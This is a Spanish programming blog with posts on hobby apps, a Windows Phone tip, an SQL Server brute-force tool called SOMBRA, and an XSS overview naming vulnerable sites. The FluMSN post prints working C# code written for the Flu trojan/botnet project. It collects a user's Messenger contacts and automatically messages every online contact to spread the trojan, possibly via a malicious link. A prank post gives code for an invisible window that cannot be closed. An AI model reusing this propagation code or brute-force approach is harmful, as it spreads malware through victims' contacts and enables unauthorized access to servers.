Mostrando entradas con la etiqueta programación. Mostrar todas las entradas
Mostrando entradas con la etiqueta programación. Mostrar todas las entradas

martes, 11 de septiembre de 2012

SOMBRA for SQL Servers

Voy a presentaros una aplicación que empecé a desarrollar hace ya algún tiempo pero por un motivo u otro no lo terminé en su día. Ahora que el INEM ha fichado por mí, estoy más ocioso y he podido terminarla.

Su nombre es SOMBRA y sirve para probar accesos a Servidores de Microsoft SQL Server mediante fuerza bruta. Con ella podemos obtener un listado de todos los servidores que podamos ver en la red y luego realizar diferentes pruebas de acceso. Puede servirnos como herramienta de pentesting o para probar si continuamos utilizando usuarios y contraseñas que deberíamos haber cambiado, configuraciones por defecto... tan solo tendremos que elegir que credenciales emplear ya que permite varias opciones como el uso de diccionarios.

Lo he desarrollado en C# (.Net Framework 3.5) intentado diseñar una interfaz lo más sencilla y amigable posible. Es como un asistente en el que no puedes avanzar si algo no está correcto.

Algunas capturas para que veáis su funcionamiento:

Primero listamos los servidores y seleccionamos aquellos que nos interese poner a prueba.

Elegimos como nos vamos a conectar. En este caso elegimos que el usuario siempre sea "sa" y un fichero de texto con un listado de contraseñas.

SOMBRA realizará las conexiones a los servidores elegidos anteriormente empleando la configuración indicada; un usuario fijo y alternando la contraseña.

Si tenemos suerte nos aparecerán listados los servidores con los que hayamos conseguido acceso.


Agradecer desde aquí la traducción en alemán a mi amiguete RooLop.

Sin más dilación os dejo el enlace:

Descargar SOMBRA
MD5: a3371d4d4d4db8a9fa1af0ae94ab2d58
SHA1: cda8a35e44aa47c1bbd851d48c816e8ba5a8b4c2

Espero que os sea útil y me comentéis que tal os ha ido.







jueves, 2 de junio de 2011

WP7 - Debloqueo del Desarrollador


Acabo de recibir un nuevo teléfono con Windows Phone 7 y lo primero que quiero hacer es probar alguna de las aplicaciones que hice. Lo conecto al pc, sincronizo con Zune y demás rollos, abro Visual Studio 2010, elijo que se ejecute la aplicación en el dispositivo, desbloqueo la pantalla para que no haya problemas y... zasss!! Recibo el siguiente mensaje:

Error al iniciar la aplicación. Asegúrese de que la pantalla del dispositivo está desbloqueada
y que dicho dispositivo no está bloqueado por el desarrollador. Para obtener detalles sobre del
desbloqueo del desarrollador, visite la página web http://go.microso

Sí, has leído bien "http://go.microso". Bueno, ¡no pasa nada! Lo que intenta decirte el error es que vayas a C:\Program Files\Microsoft SDKs\Windows Phone\v7.0\Tools\Phone Registration y ejecutes la aplicación PhoneReg.exe con el teléfono conectado al pc.

Aparecerá una formulario donde debes introducir tu usuario y contraseña de Windows Live Id. Puede que te de un error diciéndote que desbloquees la pantalla y luego pulses reintentar, ningún problema.

Tras aceptar el registro devolverá la siguiente ventana:

¡Tan fácil como esto!

Desde este momento, en nuestra cuenta de App Hub aparecerá el nuevo dispositivo y estará listo para poder ejecutar nuestras aplicaciones a través de Visual Studio o Expression Blend.


Y si tienes dudas ya sabes que puedes consultar "http://go.microso" ;-)


martes, 25 de enero de 2011

POC - FLU MSN

He creado un formulario para mostrar el funcionamiento de la clase FluMSN de la que hablé en el anterior post.

Para ello he puesto unas cuantas labels para mostrar el nick, estado y dirección de e-mail. Un par de ListBox que relleno con los contactos y un textbox junto a un botón para poder enviar mensajes a quellos contactos que estén conectados.


Descargar POCFluMSN.
Contraseña: p4p4y4

MD5: d19800f912af90f932d8b5aa51d0b89b
SHA-1: 5bd2a90326825e18851383260f9ff23dada0bef4

domingo, 23 de enero de 2011

FluMSN

En el anterior post comentaba como hacer una rápida y simple broma en C#. Dicho código lo compartí en el foro de Flu Project. Para explicar que es, un extracto de su web:
El proyecto consiste en el desarrollo de una aplicación para el control remoto de máquinas Windows a través del troyano Flu, orientado a la generación de botnets a través de la tecnología HaaS (Hacking as a Service).
Pensando en su propagación pensé que una vía puede ser a través de mensajería instantánea y al tratarse de un troyano enfocado principalmente en Windows, que mejor que Msn Messenger. Pues, ¡manos a la obra!

Mis propósitos eran:
  • Obtener e-mail y nick del usuario. [Conseguido]
  • Listado de todos sus contactos. [Conseguido]
  • Listado de contactos conectados para actuar con ellos de la siguiente manera: [Conseguido]
  • Enviar mensajes (¿Web maliciosa?). [Conseguido]
  • Enviar ficheros. [Por Conseguir]
He estado haciendo pruebas a través de la API de Messenger y el nuevo Windows Live Messenger 2011, concretamente con la compilación 15.4.3502.922.

El método SendFile no me funcionaba y no sé si porque no es compatible con esta versión del messenger. Si alguien pude probarla en versiones anteriores y comentarme resultados sería de agradecer. ;-)

Para el uso de la API se ha de agregar la referencia MessengerAPI desde COM.

Ni que decir tiene, que funciona siempre y cuando estemos conectados.

La publicación en el foro de Flu Project la podéis ver en este enlace.

Aquí tenéis el código.

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Windows.Forms;

namespace Messenger_Robe_
{
class FluMSN
{
MessengerAPI.Messenger MSN = new MessengerAPI.Messenger();
private string errorGral = "Se produjo un error. Es posible que el usuario no esté conectado";
private List contactos=new List();

public string NombreUsuario()
{
try
{
return MSN.MyFriendlyName;
}
catch
{
return errorGral;
}
}
public string EmailUsuario()
{
try
{
return MSN.MySigninName;

}
catch
{
return errorGral;
}
}
public string EstadoUsuario()
{
try
{
return MSN.MyStatus.ToString();
}
catch
{
return errorGral;
}
}

public List ObtenerTodosContactos()
{

MessengerAPI.IMessengerContacts contacts = (MessengerAPI.IMessengerContacts)MSN.MyContacts;

try
{
foreach (MessengerAPI.IMessengerContact contact in contacts)
{
contactos.Add(contact.SigninName);
}
return contactos;

}
catch
{
contactos.Add(errorGral);
return contactos;
}
}

public List ObtenerContactosConectados()
{

MessengerAPI.IMessengerContacts contacts = (MessengerAPI.IMessengerContacts)MSN.MyContacts;

try
{
foreach (MessengerAPI.IMessengerContact contact in contacts)
{
if (contact.Status != MessengerAPI.MISTATUS.MISTATUS_OFFLINE)
{
contactos.Add(contact.SigninName);
}
}
return contactos;

}
catch
{
contactos.Add(errorGral);
return contactos;
}
}

public void EnviarMensaje(List contactos, string mensaje)
{
try
{
foreach (string usuario in contactos)
{
if (MSN.MyStatus.ToString() == "MISTATUS_INVISIBLE")
{
MSN.InstantMessage(usuario);
SendKeys.Send("{ENTER}");
SendKeys.Send("{ENTER}");
SendKeys.Send(mensaje + "{ENTER}");
SendKeys.Send("{ESCAPE}");
}
else
{
MSN.InstantMessage(usuario);
SendKeys.Send(mensaje + "{ENTER}");
SendKeys.Send("{ESCAPE}");
}
}
}
catch
{
}
}

//public void EnviarArchivo(List contactos, string archivo)
//{

// try
// {
// foreach (string usuario in contactos)
// {
// MSN.SendFile(usuario, archivo);
// }
// }
// catch (Exception e)
// {
// MessageBox.Show(e.ToString(),"Error");
// }
//}
}
}

sábado, 22 de enero de 2011

NoMoreClicks: Una broma rápida en C#

Se me ha ocurrido que con pocas líneas de código podemos gastar una pequeña broma a nuestro compañero de oficina, clase,etc.

La idea es crear un formulario transparente, sin bordes, que ocupe toda la pantalla y no aparezca en la barra de herramientas al ejecutarlo. Por cada click con el ratón por parte del usuario, la aplicación invisible le devuelve un mensaje con el texto que hayamos predeterminado. También pensé en que no pudiese ser cerrado al pulsar las teclas Alt+F4.

Para ello se han de cambiar unas cuantas propiedades del Form, crear un array de cadenas de texto con los mensajes que queramos y un par de eventos para capturar los clicks del ratón y el que no pueda ser cerrada "fácilmente".

Aquí os dejo el código:
using System;
using System.Windows.Forms;
using System.Net;

namespace NoMoreClicks
{
public partial class Form1 : Form
{
//Declaramos un array de cadena y lo inicializamos con los mensajes que queramos mostrar por cada click
string[] mensajes = { "No pinches.", "¡Qué no pinches!", "¿Por qué pinchas?", "¿Cómo hay que decírtelo?", "¿No vas a parar?"};

//Un entero que almacenará en que posición del array estaremos
int contador = 0;



public Form1()
{

InitializeComponent();
}

//Evento click del Form
private void Form1_Click(object sender, EventArgs e)
{

try
{
//Mostramos el mensaje correspondiente e incrementamos el contador para pasar al siguiente mensaje
MessageBox.Show(mensajes[contador],Dns.GetHostName());
contador++;
}
catch
{
//No quedan más mensajes por mostrar y a partir de ese momento sólo se mostrará el siguiente
MessageBox.Show("No insistas", Dns.GetHostName());
}

}

private void Form1_Load(object sender, EventArgs e)
{
//Cambiamos unas cuantas propiedades del Form para que sea transparente, pantalla completa, sin bordes, etc
this.Opacity = 0.01;
this.ShowInTaskbar = false;
this.ShowIcon = false;
this.FormBorderStyle = FormBorderStyle.None;
this.Height=Screen.PrimaryScreen.Bounds.Height;
this.Width = Screen.PrimaryScreen.Bounds.Width;
this.Top = 0;
this.Left = 0;
}

//Evento FormClosing para que no puedan cerrar la aplicación con Alt+F4 por ejemplo
private void Form1_FormClosing(object sender, FormClosingEventArgs e)
{
e.Cancel = true;
}


}
}
Probadlo y ya me comentaréis si hubo éxito o no.

He pasado el código por el foro de Flu Project por si les interesa y lo incluyen en su aplicación. ¿Qué no sabes qué es eso de Flu Project? Entra en su web y echa un vistazo.

Si alguien quiere probarla directamente:

Descargar NoMoreClicks.
Contraseña: 45p4r4gu5

MD5: e0876057fdd1ff2645386cb402bc6172
SHA-1: 1fd3dda4f9522d0958125811c0e044180861d5c3

sábado, 20 de noviembre de 2010

Cambiar configuración de entorno en Visual Studio

Quizás a alguno le pueda parecer una tontería, pero no encontraba el modo para volver a cambiar la configuración de entorno que te ofrece la primera vez que arrancas Visual Studio tras su instalación. No sabía ni que nombre tenía y al final en un foro (de msdn si no recuerdo mal) encontré la solución y me consoló saber que no era el único con este problema.

Por si alguien se encuentra en la misma situación que sepa que se hace rapidísimo. Pinchamos en:

Herramientas > Importar y Exportar Configuraciones...


Nos permite exportar nuestra configuración actual o importar otra guardada anteriormente. Continuo seleccionando restablecer todas las configuraciones:


Te permite guardar la actual configuración por si quisieses dar marcha atrás:


Y conseguimos llegar al menú deseado:

miércoles, 27 de octubre de 2010

Aleatería para Android





La verdad es que casi no juego a las loterías pero si hay bote suelo echar un par de apuestas con los colegas. A la hora de elegir los números no suelo coger números muy cercanos o de la misma decena como pueden ser 34 y 37 pero pueden salir y de hecho salen frecuentemente. Otra opción es la apuesta automática pero un colega no se fía así que hice mi propio generador de combinaciones para solventar ambos "problemas".

Aleatería está disponible para dispositivos Android y su nombre proviene de un juego de palabras entre ALEATorío y loTERÍA. Tan sólo he implementado tres juegos (Euro Millones, La Primitiva y El Gordo) que son a los que jugamos.


Para generar los números aleatorios tengo un método que según el botón pulsado recibe el rango de números posibles y cuantos distintos han de mostrarse. Después relleno un array de enteros con el rango indicado y con el método shuffle de la clase Collections mezclo todos los números del array. Por último sólo me queda ordenarlo mediante sort y obtener aquellos que necesito empezando por el primero. De este modo evito el ir generando un número aleatório con Random.next por ejemplo y comprobar si se repite con los anteriores e ir ordenándolos.


También he añadido un menú para poder consultar la web de la ONLAE y comprobar los resultados de las últimas apuestas e incluso accesos directos a las estadísticas de los números más frecuentes.


Espero que os sirva y le deis uso al igual que yo. Como siempre, en enlace a continuación:

Contraseña: m310n

MD5: da8028767a13b6e530239a4f9b1d390a
SHA-1: 5579433506c53c756058268b1873ee517f1faac9

domingo, 24 de octubre de 2010

¡GeolClick finalista del Desafío Google Chrome!



Desde el 1 de Septiembre hasta el 15 de Octubre se ha celebrado el primer Desafío Google Chrome para España. Un concurso para que desarrolladores residentes en España creasen extensiones para el navegador de Google siendo juzgadas por su creatividad e implementación técnica.

EL día 22 de este mes se publicaron los ganadores del desafío siendo Chrome Palette la que obtuvo el primer puesto y un Nexus one como premio.

Mi extensión GeolClick (que os presenté en este mismo blog) llegó a la final pero me temo que no recibiré premio alguno. Tan sólo la satisfacción de que siendo mi primera extensión haya llegado tan lejos.

Podéis acceder al anuncio de los ganadores pulsando este enlace.

Desde aquí, mis felicitaciones a Daniel y David que fueron los creadores de Chrome Palette.

miércoles, 29 de septiembre de 2010

PoLLoSound para Android



Desde hace algún tiempo tengo curiosidad por los teléfonos equipados con el sistema operativo Android y al final me he comprado uno. No me ha decepcionado para nada, la verdad y de momento estoy bastante contento.

Me puse a trastear con el SDK con el fin de crear mi primera aplicación para esta plataforma y que mejor que probar a adaptar PoLLoSound para iPhone.

He de reconocer que he visto un poco más problemático el diseño para esta plataforma que para iPhone ya que la aplicaciones se ejecutarán en dispositivos con pantallas de distintos tamaños, resoluciones diferentes... mientras que con iPhone no tenía ese problema. Aunque ahora con el iPad cambia la historia pero no me hagáis mucho caso que no estoy muy puesto en el tema.

Probad la aplicación y me comentáis.

Contraseña: p0t4t03

MD5: 819a34e173d81bef7f1715efd69527e8
SHA-1: 65476095364c05d0091051160d2843e6fed5e78c

lunes, 20 de septiembre de 2010

GeolClick

Al fin he creado mi primera extensión para el navegador Google Chrome.

Detecta en que lugar del mapa te encuentras gracias a Geolocation de HTML5 y mediante la API de Google Maps calcula la distancia a la que te encuentras respecto a una dirección por la que estés interesado. También te muestra el tiempo estimado que tardarías en coche.

La geolocalización funciona correctamente mediante conexiones WiFi así que probadla únicamente si estáis conectados a una red inalámbrica.

Para utilizarlo tan solo selecciona con el ratón el texto de una dirección que te interese y pincha sobre el icono de GeolClick.

Podéis descargarla aquí. Puntuadla y comentadla por favor.

Os dejo unas capturas de su funcionamiento:


Para conocer a que distancia te encuentras de una dirección exacta.

Búsqueda por ciudad.


También incluye un enlace para poder explorar el mapa y conocer la ruta entre los dos puntos.

No hace falta que sean direcciones exactas ya que puedes buscar por ciudades, países... o incluso por un monumento como "La Puerta de Alcalá".

Disfrutad de GeolClick.

martes, 7 de septiembre de 2010

PoLLoSound para iPhone



¿Quién no ha conocido a alguien al que llaman Pollo? ¡Si hasta hay un grupo en Facebook!

El que yo conozco es un tío salao' y contagiaba a todos sus tonterías que nos hacían bastante gracia. Así que probando el SDK de iOS se me ocurrió hacer una aplicación sencilla que reprodujese las chorradas del amigo. Él grabó en su pc sus célebres frases y yo me encargué de lo demás. Os parecerá una idiotez pero resultó divertido y me sirvió de excusa para no quedarme en el "Hello World" aunque tampoco he seguido probándolo mucho.

Como anécdota contaré que en mitad de una clase estuvimos jugando con la aplicación y el profesor ya cansado de oír al amigo Pollo le sugirió que abandonase el aula si no pensaba callarse. Él pobrecillo flipaba porque, ¡por una vez no era él! Jorge, si lees esto... ¡un abrazo!

Descargar PoLLoSound.
Contraseña: c4rr07

MD5: 10af1faa40c2d5a32cce14d44da01324
SHA-1: c6d5815a22abf19829a09ac1930e19923b533366

miércoles, 1 de septiembre de 2010

JAVA, "herramienta creada por Oracle"

Vale que Oracle ha comprado SUN Microsystems y que ahora es dueña de todos sus productos pero lo que he visto no me ha gustado del todo. Me he descargado el JRE 6 y al instalarlo he podido leer lo siguiente:


No termina de gustarme lo de "creada por", no sé, quizás sean cosas mías. Tendrán que actualizar la Wikipedia.

martes, 31 de agosto de 2010

XSS

A día de hoy aún es muy fácil encontrarse aplicaciones web vulnerables a XSS a pesar de su peligrosidad. OWASP este año la ha posicionado en el segundo lugar del Top 10 de los riesgos más importantes en aplicaciones web.

Para quienes no conozcan este fallo, decir que las siglas de XSS provienen de Cross Site Scripting sustituyendo la C de cross por una cruz X para no ser confundido con CSS (Cascading Style Sheets). En resumidas cuentas, esta vulnerabilidad permite inyectar código y que sea ejecutado sin que este sea validado. El fallo puede afectar de forma "persistente" (se consigue inyectar en la base de datos) o "reflejada" (se inyecta a través del navegador que "lo refleja en la aplicación web"). Algo más de información en en este enlace de Wikipedia.

Mediante este ataque se pueden suplantar las credenciales de un usuario autenticado, modificar el aspecto de la página, redireccionar el navegador a una web falsa para practicar phishing, etc.

Como prevención, se han de validar todas las entradas de la aplicación. Algunas medidas a tomar en cuenta es el filtrado de etiquetas html (por ejemplo en PHP con librerías y clases ya existentes como son Strip_tags o InputFilter) y las consultas que realicemos a la base de datos ya que podemos llegar a inyectar más parámetros, consultas... y que estás formen parte del resultado.

Algunos ejemplos de tipo reflejado en los que simplemente mediante una instrucción javascript se cambia una imagen por otra al realizar una consulta desde el navegador son:
La web de la CEOE al consultar una noticia. Les avisé por mail y lo solucionaron a los pocos días pero ni respondieron dando las gracias.

CEOE

En la web PLANB no lo aún solucionado aún y van a pasar dos meses desde el aviso, al igual que la de Sanitas, ambos no respondieron al mail que les envié. Direcciones que obtuve de sus webs y/o de la información del whois.

PlanB

Sanitas


Otras en cambio ponen solución rápidamente y te lo agradecen como es el caso de Habemusporra. En cuanto recibieron el mail se pusieron con ello y lo solventaron rápidamente. Esta vez era de tipo persistente ya que los comentarios que se almacenaban en la base de datos no se filtraban y cada vez que estos se cargaban reproducían el código. Probé varias cosillas como sustituir los enlaces de botones, aspecto de la web, inserción de iframes que permiten robar las cookies de autenticación... pero como os comento, lo solucionaron.

Habemusporra



Tanto en las clases de programación como en otros cursos que he hecho , y por la experiencia de gente con la que he hablado sobre el tema es que no enseñan a programar con seguridad. No le dan importancia, al igual que cuando en C desbordabas el buffer y te decían: "mete un número más pequeño". No sé si a los demás os ha pasado o si es algo que se debe aprender por cuenta propia.


lunes, 30 de agosto de 2010

"Videojuego" en C#


La verdad es que es un poco aventurado que lo llame videojuego, por eso lo he puesto entre comillas en el título.

Lo hice en Visual Studio 2008 con C# y no he empleado XNA ni ninguna librería especializada, simplemente Windows Forms y el .NET Framework 3.5. Así también justifico los resultados... porque cada vez que se mueven los muñecajos parece que se superponen sobre el fondo y hace cosas un poco feas. Si alguien sabe como resolverlo se lo agradeceré.

El juego se llama GreenWar (cuando lo probéis lo entenderéis). La contraseña para descomprimirlo es: c0c0nu7

Descargar GreenWar.

MD5: 9b623feaf5d005d6fefc59804778f4e0
SHA-1: fb1ea0a0253c86f4ff55dc5b04bc9da048de224c